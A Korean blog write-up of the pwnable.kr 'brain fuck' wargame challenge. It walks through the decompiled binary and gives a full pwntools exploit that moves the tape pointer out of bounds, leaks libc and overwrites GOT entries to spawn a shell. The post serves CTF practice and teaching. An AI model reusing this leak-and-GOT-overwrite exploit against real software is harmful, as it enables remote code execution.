tmxklab

[pwnable.kr] brain fuck 본문

War Game/pwnable.kr

[pwnable.kr] brain fuck

tmxk4221 2021. 1. 14. 17:31

1. 문제 확인


I made a simple brain-fuck language emulation program written in C. 
The [ ] commands are not implemented yet. However the rest functionality seems working fine. 
Find a bug and exploit it to get a shell. 

Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so

Running at : nc pwnable.kr 9001
  • 간단한 brain-fuck 에뮬레이션 프로그램을 만들었는데 [ ] 안에 들어갈 명령어를 아직 구현하지 못했음
  • 그래서 버그를 찾아서 쉘을 따라고 함

1) mitigation 확인

2) 문제 확인

  • ??? 뭘까

3) 코드흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t i; // [esp+28h] [ebp-40Ch]
  char s[1024]; // [esp+2Ch] [ebp-408h]
  unsigned int v6; // [esp+42Ch] [ebp-8h]

  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(s, 0, 0x400u);
  fgets(s, 1024, stdin);
  for ( i = 0; i < strlen(s); ++i )
    do_brainfuck(s[i]);
  return 0;
}
  • fgets()로 s에 입력 값을 받고 do_brainfuck()의 인자로 들어간다.(1byte씩)
  • 그리고 전역변수 p에 전역변수 tape의 주소 값이 들어간다.

3-2) do_brainfuck()

int __cdecl do_brainfuck(char a1)
{
  int result; // eax
  _BYTE *v2; // ebx

  result = a1 - 43;
  switch ( a1 )
  {
    case '+':
      result = p;
      ++*(_BYTE *)p;
      break;
    case ',':
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case '-':
      result = p;
      --*(_BYTE *)p;
      break;
    case '.':
      result = putchar(*(char *)p);
      break;
    case 'Z':
      return result;
    case '<':
      result = p-- - 1;
      break;
    case '>':
      result = p++ + 1;
      break;
    case '[':
      result = puts("[ and ] not supported.");
      break;
  }
  return result;
}
  • 유효한 명령어는 총 6개다. 그렇게 복잡하지 않다.
    • + : ++*p
    • , : *p = getchar()
    • - : --*p
    • . : putchar(*p)
    • < : p -= 1
    • > : p += 1

2. 접근 방법


브레인퍽(Brainfuck)

  • 우어반 뮐러가 1993년에 만든 최소주의 컴퓨터 프로그래밍
  • 총 8개의 명령어로 구성되어 있음
  • 난해한 프로그래밍 언어

각 명령어에 대한 내용은 다음 글을 참고)

*p를 이용해가지고 요리조리 뭐하면 될 것같다. 게다가 partial relro이니깐 got overwrite 쌉가능

3. 문제 풀이


첨에 시행착오가 있었따... (오랜만에 포너블 문제풀어서 그런가)

putchar()의 got를 system함수로 바꾸고 *p에 "/bin/sh"문자열을 넣었는데 안되길레 보니깐 ㅋㅋㅋputchar() 1byte가져와서 못함....

그래서 그 다음 생각한 방법이 예전에 fgets() got overwrite하고 "/bin/sh"문자열 넣었던게 생각나서 이 방법을 이용하기로 했따.

먼저, libc leak을 한다. 그리고 memset@got 를 gets로 변경하고 fgets@got를 system으로 변경한 다음 마지막으로 putchar@got를 main()로 변경한다.

그러면 다시 main()로 돌아와서 gets로 입력받을 때 "/bin/sh"을 입력해줌 끝

1) 익스코드

from pwn import *

context(log_level = "debug", os = "linux", arch = "i386")

#p = process("./bf")
p = remote("pwnable.kr", 9001)
e = ELF("./bf")
libc = ELF("bf_libc.so")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#gdb.attach(p)

main_addr = e.symbols['main']
fgets_got = e.got['fgets']
memset_got = e.got['memset']
putchar_got = e.got['putchar']
fgets_offset = libc.symbols['fgets']
gets_offset = libc.symbols['gets']
system_offset = libc.symbols['system']

var_p = 0x804a080
var_tape = 0x804a0a0
binsh = "/bin/sh\0"

# 1. libc leak
if var_tape > fgets_got:
    payload = "<" * (var_tape - fgets_got)
else:
    payload = ">" * (var_tape + fgets_got)

payload += ".>" * 4
payload += "<" * 4

# overwrite fgets -> system
payload += ",>" * 4
payload += "<" * 4

# 2. overwrite memset -> gets
if fgets_got > memset_got:
    payload += "<" * (fgets_got - memset_got)
else:
    payload += ">" * (memset_got - fgets_got)

payload += ",>" * 4
payload += "<" * 4 

# 3. overwrite and go to main()
if memset_got > putchar_got:
    payload += "<" * (memset_got - putchar_got)
else:
    payload += ">" * (putchar_got - memset_got)

payload += ",>" * 4
payload += "<" * 4

payload += "."
p.sendlineafter("[ ]\n", payload)

sleep(3)

fgets_addr = u32(p.recv())
libc_base = fgets_addr - fgets_offset
system_addr = libc_base + system_offset
gets_addr = libc_base + gets_offset

log.info("fgets_addr : "+hex(fgets_addr))
log.info("libc base : "+hex(libc_base))
log.info("system_addr : "+hex(system_addr))
log.info("gets_addr : "+hex(gets_addr))
log.info("main_addr : " +hex(main_addr))

p.send(p32(system_addr))
p.send(p32(gets_addr))
p.send(p32(main_addr))

p.sendlineafter("[ ]\n", binsh)

p.interactive()

2) 실행결과

4. 몰랐던 개념


'War Game > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] simple login  (0) 2021.06.07
[pwnable.kr] md5 calculator  (0) 2021.01.15
[pwnable.kr] horcruxes  (0) 2020.12.02
[pwnable.kr] blukat  (0) 2020.12.02
[pwnable.kr] unlink  (0) 2020.12.02
Comments